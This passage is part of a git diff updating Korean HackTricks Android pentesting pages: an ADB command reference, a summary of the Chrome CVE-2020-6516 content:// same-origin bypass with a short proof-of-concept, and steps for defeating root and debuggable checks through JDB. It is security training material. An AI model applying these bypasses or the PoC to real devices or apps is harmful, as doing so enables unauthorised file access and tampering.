참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** +* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
+{% endhint %} diff --git a/mobile-pentesting/android-app-pentesting/adb-commands.md b/mobile-pentesting/android-app-pentesting/adb-commands.md index 3b291c516..6c7c3c47f 100644 --- a/mobile-pentesting/android-app-pentesting/adb-commands.md +++ b/mobile-pentesting/android-app-pentesting/adb-commands.md @@ -1,21 +1,20 @@ -# ADB Commands +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! +Support HackTricks -HackTricks를 지원하는 다른 방법: - -* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요. -* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} + **Adb는 일반적으로 다음 위치에 있습니다:** - ```bash #Windows C:\Users\\AppData\Local\Android\sdk\platform-tools\adb.exe @@ -23,87 +22,31 @@ C:\Users\\AppData\Local\Android\sdk\platform-tools\adb.exe #MacOS /Users//Library/Android/sdk/platform-tools/adb ``` +**정보 출처:** [**http://adbshell.com/**](http://adbshell.com) -**정보 획득처:** [**http://adbshell.com/**](http://adbshell.com) - -## 연결 - -ADB(Android Debug Bridge)는 안드로이드 기기와 컴퓨터 간의 연결을 제공하는 도구입니다. ADB를 사용하여 안드로이드 기기에 명령을 전송하고 기기에서 정보를 가져올 수 있습니다. - -### USB 연결 - -1. 안드로이드 기기를 컴퓨터에 USB 케이블로 연결합니다. -2. 안드로이드 기기에서 개발자 옵션을 활성화합니다. 이를 위해 기기 설정에서 "빌드 번호"를 7번 클릭합니다. -3. 개발자 옵션으로 이동하여 "USB 디버깅"을 활성화합니다. -4. 컴퓨터에서 터미널 또는 명령 프롬프트를 열고 다음 명령을 실행합니다. - -```bash -adb devices -``` - -5. 연결된 기기의 목록이 표시됩니다. - -### Wi-Fi 연결 - -1. 안드로이드 기기를 USB로 컴퓨터에 연결합니다. -2. 컴퓨터에서 터미널 또는 명령 프롬프트를 열고 다음 명령을 실행합니다. - -```bash -adb tcpip 5555 -``` - -3. USB 연결을 해제합니다. -4. 안드로이드 기기의 IP 주소를 확인합니다. 이를 위해 기기 설정에서 "Wi-Fi"로 이동하고 "고급" 또는 "추가 설정"을 선택합니다. -5. "IP 주소"를 확인하고 다음 명령을 실행합니다. - -```bash -adb connect :5555 -``` - -6. 연결된 기기의 목록이 표시됩니다. - -### 연결 해제 - -```bash -adb disconnect -``` - -### 연결 상태 확인 - -```bash -adb devices -``` - +# 연결 ``` adb devices ``` +이 명령은 연결된 장치를 나열합니다. "_**unauthorized**_"가 나타나면, 이는 **모바일**의 잠금을 해제하고 연결을 **수락**해야 함을 의미합니다. -다음은 연결된 장치 목록을 표시합니다. "_**unathorised**_"가 나타나면 모바일을 **해제**하고 연결을 **수락**해야 합니다. - -이는 장치에 5555 포트에서 adb 서버를 시작하도록 지시합니다. - +이는 장치에 포트 5555에서 adb 서버를 시작해야 함을 나타냅니다: ``` adb tcpip 5555 ``` - -해당 IP와 포트에 연결하세요: - +해당 IP와 포트에 연결: ``` adb connect : ``` - -가상 Android 소프트웨어 (예: Genymotion)에서 다음과 같은 오류가 발생하는 경우: - +가상 Android 소프트웨어(예: Genymotion)에서 다음과 같은 오류가 발생하면: ``` adb server version (41) doesn't match this client (36); killing... ``` +ADB 서버에 다른 버전으로 연결하려고 하기 때문입니다. 소프트웨어가 사용하는 adb 바이너리를 찾아보세요 (C:\Program Files\Genymobile\Genymotion로 가서 adb.exe를 검색하세요). -이는 다른 버전의 ADB 서버에 연결하려고 하기 때문입니다. 소프트웨어가 사용하는 adb 바이너리를 찾아보세요 (`C:\Program Files\Genymobile\Genymotion`으로 이동하여 adb.exe를 검색하세요). - -### 여러 기기 - -**여러 기기가 컴퓨터에 연결**되어 있는 경우 adb 명령을 실행할 기기를 **지정해야 합니다**. +## 여러 장치 +**여러 장치가 귀하의 머신에 연결되어 있는 경우** 어떤 장치에서 adb 명령을 실행할 것인지 **지정해야** 합니다. ```bash adb devices List of devices attached @@ -116,22 +59,18 @@ adb -s 127.0.0.1:5555 shell x86_64:/ # whoami root ``` +## Port Tunneling -### 포트 터널링 - -만약 안드로이드 장치에서 **adb 포트**가 **로컬호스트**에서만 **접근 가능**하지만 **SSH를 통해 액세스할 수 있다면**, 포트 5555를 **포워딩**하여 adb를 통해 연결할 수 있습니다: - +안드로이드 장치에서 **adb** **포트**가 **localhost**에서만 **접근 가능**하지만 **SSH를 통해 접근할 수 있는 경우**, **포트 5555를 포워딩**하고 adb를 통해 연결할 수 있습니다: ```bash ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222 adb connect 127.0.0.1:5555 ``` +# 패킷 관리자 -## 패키지 관리자 - -### 설치/제거 - -#### adb install \[옵션] <경로> +## 설치/제거 +### adb install \[option] \ ```bash adb install test.apk @@ -147,35 +86,17 @@ adb install -d test.apk # allow version code downgrade adb install -p test.apk # partial application install ``` - -#### adb uninstall \[옵션] <패키지> - -adb uninstall 명령은 Android 디바이스에서 특정 앱을 제거하는 데 사용됩니다. - -**옵션:** - -* \-k: 앱 데이터와 캐시를 유지한 채로 앱을 제거합니다. - -**사용법:** - -``` -adb uninstall com.example.app -``` - -이 명령은 com.example.app이라는 패키지 이름을 가진 앱을 디바이스에서 제거합니다. - +### adb uninstall \[options] \ ```bash adb uninstall com.test.app adb uninstall -k com.test.app Keep the data and cache directories around after package removal. ``` - -### 패키지 +## 패키지 모든 패키지를 출력하며, 선택적으로 패키지 이름에 \ 텍스트가 포함된 패키지만 출력합니다. -#### adb shell pm list packages \[옵션] \ - +### adb shell pm list packages \[options] \ ```bash adb shell pm list packages @@ -195,55 +116,43 @@ adb shell pm list packages -u #Also include uninstalled packages. adb shell pm list packages --user #The user space to query. ``` +### adb shell pm path \ -#### adb shell pm path \ - -주어진 \의 APK 경로를 출력합니다. - +주어진 APK의 경로를 출력합니다. ```bash adb shell pm path com.android.phone ``` - -#### adb shell pm clear \ +### adb shell pm clear \ 패키지와 관련된 모든 데이터를 삭제합니다. - ```bash adb shell pm clear com.test.abc ``` +# 파일 관리자 -## 파일 관리자 - -#### adb pull \ \[local] - -에뮬레이터/장치에서 지정된 파일을 컴퓨터로 다운로드합니다. +### adb pull \ \[local] +지정된 파일을 에뮬레이터/장치에서 컴퓨터로 다운로드합니다. ```bash adb pull /sdcard/demo.mp4 ./ ``` +### adb push \ \ -#### adb push <로컬> <원격> - -컴퓨터에서 지정된 파일을 에뮬레이터/장치로 업로드합니다. - +지정된 파일을 컴퓨터에서 에뮬레이터/장치로 업로드합니다. ```bash adb push test.apk /sdcard ``` +# Screencapture/Screenrecord -## 스크린캡처/스크린레코드 - -#### adb shell screencap <파일명> - -기기 화면의 스크린샷을 찍습니다. +### adb shell screencap \ +디바이스 화면의 스크린샷을 찍습니다. ```bash adb shell screencap /sdcard/screen.png ``` +### adb shell screenrecord \[options] \ -#### adb shell screenrecord \[옵션] <파일명> - -Android 4.4 (API 레벨 19) 이상을 실행하는 기기의 화면 녹화. - +Android 4.4 (API level 19) 이상에서 실행되는 장치의 화면을 녹화합니다. ```bash adb shell screenrecord /sdcard/demo.mp4 adb shell screenrecord --size @@ -252,33 +161,27 @@ adb shell screenrecord --time-limit
+{% endhint %} diff --git a/mobile-pentesting/android-app-pentesting/content-protocol.md b/mobile-pentesting/android-app-pentesting/content-protocol.md index e37c37819..28333075f 100644 --- a/mobile-pentesting/android-app-pentesting/content-protocol.md +++ b/mobile-pentesting/android-app-pentesting/content-protocol.md @@ -1,41 +1,39 @@ +{% hint style="success" %} +AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-제로부터 영웅이 될 때까지 AWS 해킹 배우기 htARTE (HackTricks AWS Red Team 전문가)! +HackTricks 지원하기 -HackTricks를 지원하는 다른 방법: - -* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 -* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요. -* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출**하세요. +* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! +* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** +* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
+{% endhint %}
{% embed url="https://websec.nl/" %} -**이것은 [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)의 포스트 요약입니다** +**이것은 [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/) 게시물의 요약입니다.** -### 미디어 스토어에서 파일 목록 나열 -미디어 스토어에서 관리되는 파일을 나열하려면 아래 명령을 사용할 수 있습니다: +### 미디어 스토어의 파일 나열하기 +미디어 스토어에서 관리되는 파일을 나열하려면 아래 명령어를 사용할 수 있습니다: ```bash $ content query --uri content://media/external/file ``` -보다 사용자 친화적인 출력을 위해 각 색인 파일의 식별자와 경로만 표시합니다: +각 인덱스된 파일의 식별자와 경로만 표시하여 보다 인간 친화적인 출력을 위해: ```bash $ content query --uri content://media/external/file --projection _id,_data ``` -### 콘텐츠 프로바이더 +콘텐츠 제공자는 자신의 개인 네임스페이스에 격리되어 있습니다. 제공자에 대한 액세스는 특정 `content://` URI를 요구합니다. 제공자에 접근하기 위한 경로에 대한 정보는 애플리케이션 매니페스트 또는 Android 프레임워크의 소스 코드에서 얻을 수 있습니다. -콘텐츠 프로바이더는 고유한 개인 네임스페이스에 격리됩니다. 프로바이더에 액세스하려면 특정 `content://` URI가 필요합니다. 프로바이더에 액세스하는 경로에 대한 정보는 애플리케이션 매니페스트나 Android 프레임워크의 소스 코드에서 얻을 수 있습니다. +### Chrome의 콘텐츠 제공자 접근 +Android의 Chrome은 `content://` 스킴을 통해 콘텐츠 제공자에 접근할 수 있어, 타사 애플리케이션에서 내보낸 사진이나 문서와 같은 리소스에 접근할 수 있습니다. 이를 설명하기 위해, 파일을 미디어 스토어에 삽입한 다음 Chrome을 통해 접근할 수 있습니다: -### Chrome의 콘텐츠 프로바이더 액세스 - -Android의 Chrome은 `content://` 스키마를 통해 콘텐츠 프로바이더에 액세스할 수 있어서, 제3자 애플리케이션이 내보낸 사진이나 문서와 같은 리소스에 액세스할 수 있습니다. 이를 설명하기 위해 파일을 미디어 저장소에 삽입한 다음 Chrome을 통해 액세스할 수 있습니다: - -미디어 저장소에 사용자 지정 항목 삽입: +미디어 스토어에 사용자 정의 항목 삽입: ```bash cd /sdcard echo "Hello, world!" > test.txt @@ -43,13 +41,13 @@ content insert --uri content://media/external/file \ --bind _data:s:/storage/emulated/0/test.txt \ --bind mime_type:s:text/plain ``` -새로 삽입된 파일의 식별자를 발견하세요: +새로 삽입된 파일의 식별자를 발견하십시오: ```bash content query --uri content://media/external/file \ --projection _id,_data | grep test.txt # Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt ``` -파일은 파일 식별자를 사용하여 구성된 URL을 사용하여 Chrome에서 볼 수 있습니다. +파일은 파일의 식별자로 구성된 URL을 사용하여 Chrome에서 볼 수 있습니다. 예를 들어, 특정 애플리케이션과 관련된 파일을 나열하려면: ```bash @@ -57,11 +55,11 @@ content query --uri content://media/external/file --projection _id,_data | grep ``` ### Chrome CVE-2020-6516: Same-Origin-Policy Bypass -_Same Origin Policy_ (SOP)는 브라우저의 보안 프로토콜로, 교차 출처 리소스 공유 (CORS) 정책에 명시적으로 허용되지 않는 한 웹 페이지가 다른 출처의 리소스와 상호 작용하는 것을 제한합니다. 이 정책은 정보 누출과 교차 사이트 요청 위조를 방지하기 위한 것입니다. Chrome은 `content://`을 로컬 스키마로 간주하여 각 로컬 스키마 URL을 별도의 출처로 취급하는 엄격한 SOP 규칙을 시행합니다. +_동일 출처 정책_ (SOP)은 브라우저에서 서로 다른 출처의 리소스와 상호작용하는 것을 제한하는 보안 프로토콜로, Cross-Origin-Resource-Sharing (CORS) 정책에 의해 명시적으로 허용되지 않는 한 허용되지 않습니다. 이 정책은 정보 유출 및 교차 사이트 요청 위조를 방지하는 것을 목표로 합니다. Chrome은 `content://`를 로컬 스킴으로 간주하여, 각 로컬 스킴 URL이 별도의 출처로 취급되는 더 엄격한 SOP 규칙을 의미합니다. -그러나 CVE-2020-6516은 Chrome의 취약점으로, `content://` URL을 통해 로드된 리소스에 대한 SOP 규칙을 우회할 수 있게 했습니다. 실제로, `content://` URL에서 로드된 JavaScript 코드는 다른 `content://` URL을 통해 로드된 리소스에 액세스할 수 있었으며, 이는 특히 Android 10 이전 버전을 실행하는 Android 기기에서 주요한 보안 문제였습니다. 여기서는 범위 지정된 저장소가 구현되지 않았습니다. +그러나 CVE-2020-6516은 `content://` URL을 통해 로드된 리소스에 대한 SOP 규칙을 우회할 수 있는 Chrome의 취약점이었습니다. 결과적으로, `content://` URL의 JavaScript 코드는 다른 `content://` URL을 통해 로드된 리소스에 접근할 수 있었으며, 이는 특히 Android 10 이전 버전에서 구현되지 않은 범위 저장소를 실행하는 Android 장치에서 중요한 보안 문제였습니다. -아래의 증명 코드는 이 취약점을 보여줍니다. HTML 문서는 **/sdcard**에 업로드된 후 미디어 저장소에 추가되며, JavaScript에서 `XMLHttpRequest`를 사용하여 미디어 저장소의 다른 파일의 내용에 액세스하고 표시하여 SOP 규칙을 우회합니다. +아래의 개념 증명은 이 취약점을 보여줍니다. HTML 문서가 **/sdcard**에 업로드되고 미디어 저장소에 추가된 후, JavaScript에서 `XMLHttpRequest`를 사용하여 미디어 저장소의 다른 파일 내용을 접근하고 표시하여 SOP 규칙을 우회합니다. Proof-of-Concept HTML: ```xml @@ -96,16 +94,17 @@ xhr.send(); {% embed url="https://websec.nl/" %} +{% hint style="success" %} +AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-제로부터 영웅이 될 때까지 AWS 해킹 배우기 htARTE (HackTricks AWS Red Team Expert)! +HackTricks 지원하기 -HackTricks를 지원하는 다른 방법: - -* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식으로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요 -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 -* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.** -* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 기여하세요.** +* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! +* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** +* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
+{% endhint %} diff --git a/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md b/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md index 2b20f9793..49bca44b0 100644 --- a/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md +++ b/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md @@ -1,85 +1,108 @@ -# 디버그 가능한 애플리케이션의 취약점 이용 +# 디버깅 가능한 애플리케이션 악용하기 + +{% hint style="success" %} +AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! +HackTricks 지원하기 -HackTricks를 지원하는 다른 방법: - -* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. -* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요. -* **HackingTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. +* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! +* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** +* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
+{% endhint %} -# **루트 및 디버그 가능한 체크 우회** +# **루트 및 디버깅 가능성 검사 우회하기** -이 게시물의 이 부분은 [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)에서 요약한 내용입니다. +이 게시물의 이 섹션은 [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)에서 요약한 내용입니다. -## 안드로이드 앱을 디버그 가능하게 만들고 체크 우회하는 단계 +## Android 앱을 디버깅 가능하게 만들고 검사 우회하기 위한 단계 -### **앱을 디버그 가능하게 만들기** +### **앱을 디버깅 가능하게 만들기** -https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0을 기반으로 한 내용입니다. +내용은 https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0를 기반으로 합니다. 1. **APK 디컴파일:** - APK 디컴파일을 위해 APK-GUI 도구를 사용합니다. - _android-manifest_ 파일에 `android:debuggable=true`를 삽입하여 디버깅 모드를 활성화합니다. -- 수정된 애플리케이션을 재컴파일, 서명 및 zipalign합니다. +- 수정된 애플리케이션을 다시 컴파일하고 서명한 후 zipalign합니다. 2. **수정된 애플리케이션 설치:** -- `adb install ` 명령을 사용합니다. +- 명령어: `adb install `을 사용합니다. -3. **패키지 이름 검색:** -- `adb shell pm list packages –3`를 실행하여 타사 애플리케이션을 나열하고 패키지 이름을 찾습니다. +3. **패키지 이름 가져오기:** +- `adb shell pm list packages –3`을 실행하여 서드파티 애플리케이션 목록을 확인하고 패키지 이름을 찾습니다. 4. **앱이 디버거 연결을 기다리도록 설정:** -- 명령: `adb shell am setup-debug-app –w `. -- **참고:** 이 명령은 애플리케이션을 시작하기 전에 매번 실행되어 디버거를 기다리도록 해야 합니다. +- 명령어: `adb shell am setup-debug-app –w `입니다. +- **참고:** 이 명령은 애플리케이션을 시작하기 전에 매번 실행해야 디버거를 기다리도록 설정됩니다. - 지속성을 위해 `adb shell am setup-debug-app –w -–persistent `을 사용합니다. - 모든 플래그를 제거하려면 `adb shell am clear-debug-app `을 사용합니다. 5. **Android Studio에서 디버깅 준비:** - Android Studio에서 _File -> Open Profile or APK_로 이동합니다. -- 재컴파일된 APK를 엽니다. +- 다시 컴파일한 APK를 엽니다. 6. **주요 Java 파일에 중단점 설정:** -- `MainActivity.java` (특히 `onCreate` 메서드), `b.java`, `ContextWrapper.java`에 중단점을 설정합니다. +- `MainActivity.java`(특히 `onCreate` 메서드), `b.java`, `ContextWrapper.java`에 중단점을 설정합니다. -### **체크 우회** +### **검사 우회하기** -일부 시점에서 애플리케이션은 디버그 가능한지 확인하고 루트된 기기를 나타내는 이진 파일을 확인합니다. 디버거를 사용하여 앱 정보를 수정하고 디버깅 가능한 비트를 해제하며 검색된 이진 파일의 이름을 변경하여 이러한 체크를 우회할 수 있습니다. +애플리케이션은 특정 시점에서 디버깅 가능성을 확인하고 루팅된 장치를 나타내는 바이너리를 검사합니다. 디버거를 사용하여 앱 정보를 수정하고, 디버깅 가능 비트를 해제하며, 검색된 바이너리의 이름을 변경하여 이러한 검사를 우회할 수 있습니다. -디버그 가능한 체크에 대한: +디버깅 가능성 검사에 대해: 1. **플래그 설정 수정:** -- 디버거 콘솔의 변수 섹션에서 다음 위치로 이동합니다: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`. -- **참고:** `flags = 814267974`의 이진 표현은 `11000011100111011110`이며 "Flag_debuggable"이 활성화되어 있음을 나타냅니다. +- 디버거 콘솔의 변수 섹션에서 다음으로 이동합니다: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`. +- **참고:** `flags = 814267974`의 이진 표현은 `11000011100111011110`으로, "Flag_debuggable"이 활성화되어 있음을 나타냅니다. ![https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png) -이러한 단계를 통해 애플리케이션을 디버깅할 수 있으며 디버거를 사용하여 특정 보안 체크를 우회하여 애플리케이션의 동작을 더 깊이 분석하거나 수정할 수 있습니다. +이 단계들은 애플리케이션이 디버깅 가능하도록 하고, 특정 보안 검사를 디버거를 사용하여 우회할 수 있도록 보장하여 애플리케이션의 동작을 보다 심층적으로 분석하거나 수정할 수 있게 합니다. -2단계에서는 플래그 값을 814267972로 변경하며, 이는 이진으로 110000101101000000100010100로 표현됩니다. +2단계에서는 플래그 값을 814267972로 변경하는데, 이는 이진수로 110000101101000000100010100으로 표현됩니다. -# **취약점 이용** +# **취약점 악용하기** -버튼과 텍스트뷰가 있는 취약한 애플리케이션을 사용하여 "Crack Me"라는 메시지가 표시되는 초기 상태에서 소스 코드를 수정하지 않고 런타임에서 메시지를 "Hacked"로 변경하는 것이 목표입니다. +버튼과 텍스트뷰가 포함된 취약한 애플리케이션을 사용하여 시연이 제공되었습니다. 처음에 애플리케이션은 "Crack Me"를 표시합니다. 목표는 소스 코드를 수정하지 않고 런타임에서 "Try Again" 메시지를 "Hacked"로 변경하는 것입니다. ## **취약점 확인** -- `apktool`을 사용하여 애플리케이션을 디컴파일하여 `AndroidManifest.xml` 파일에 액세스합니다. -- AndroidManifest.xml에 `android_debuggable="true"`가 있는 경우 애플리케이션이 디버그 가능하고 취약할 수 있다는 것을 나타냅니다. -- 코드를 수정하지 않고 디버그 가능한 상태를 확인하기 위해 `apktool`을 사용하는 것에 유의해야 합니다. +- `apktool`을 사용하여 애플리케이션을 디컴파일하여 `AndroidManifest.xml` 파일에 접근했습니다. +- AndroidManifest.xml에 `android_debuggable="true"`가 존재하면 애플리케이션이 디버깅 가능하고 악용될 수 있음을 나타냅니다. +- `apktool`은 코드를 변경하지 않고 디버깅 가능 상태를 확인하는 데만 사용된다는 점에 유의해야 합니다. ## **설정 준비** -- 프로세스는 에뮬레이터를 시작하고 취약한 애플리케이션을 설치한 다음 `adb jdwp`를 사용하여 수신 대기 중인 Dalvik VM 포트를 식별하는 것을 포함합니다. -- JDWP (Java Debug Wire Protocol)는 고유한 포트를 노출하여 VM에서 실행 중인 애플리케이션을 디버깅할 수 있게 합니다. -- 원격 디버깅을 위해 포트 포워딩이 필요하며, 그 후 JDB를 대상 애플리케이션에 연결합니다. +- 프로세스는 에뮬레이터를 시작하고, 취약한 애플리케이션을 설치하며, `adb jdwp`를 사용하여 수신 대기 중인 Dalvik VM 포트를 식별하는 것이 포함되었습니다. +- JDWP(Java Debug Wire Protocol)는 VM에서 실행 중인 애플리케이션을 디버깅할 수 있도록 고유한 포트를 노출합니다. +- 원격 디버깅을 위해 포트 포워딩이 필요했으며, 이후 JDB를 대상 애플리케이션에 연결했습니다. ## **런타임에서 코드 주입** -- 중단점을 설정하고 애플리케이션 흐름을 제어하여 취약점을 이용했습니다. -- `classes` 및 `methods `와 같은 명령을 사용하여 애플리케이션의 구조를 확인했습니다. -- `onClick` 메서드에 중단점을 설정하고 실행을 제어했습니다. -- `locals`, `next`, `set` 명령을 사용하여 로컬 변수를 검사하고 수정하며, 특히 "Try +- 중단점을 설정하고 애플리케이션 흐름을 제어하여 악용이 수행되었습니다. +- `classes` 및 `methods `와 같은 명령어를 사용하여 애플리케이션의 구조를 파악했습니다. +- `onClick` 메서드에 중단점을 설정하고 그 실행을 제어했습니다. +- `locals`, `next`, `set` 명령어를 사용하여 로컬 변수를 검사하고 수정했으며, 특히 "Try Again" 메시지를 "Hacked"로 변경했습니다. +- 수정된 코드는 `run` 명령어를 사용하여 실행되어 애플리케이션의 출력을 실시간으로 성공적으로 변경했습니다. + +이 예시는 디버깅 가능한 애플리케이션의 동작을 조작할 수 있는 방법을 보여주며, 애플리케이션의 컨텍스트에서 장치에 대한 쉘 접근과 같은 더 복잡한 악용 가능성을 강조합니다. + +## 참고문헌 +* [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0) +* [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications) + +{% hint style="success" %} +AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
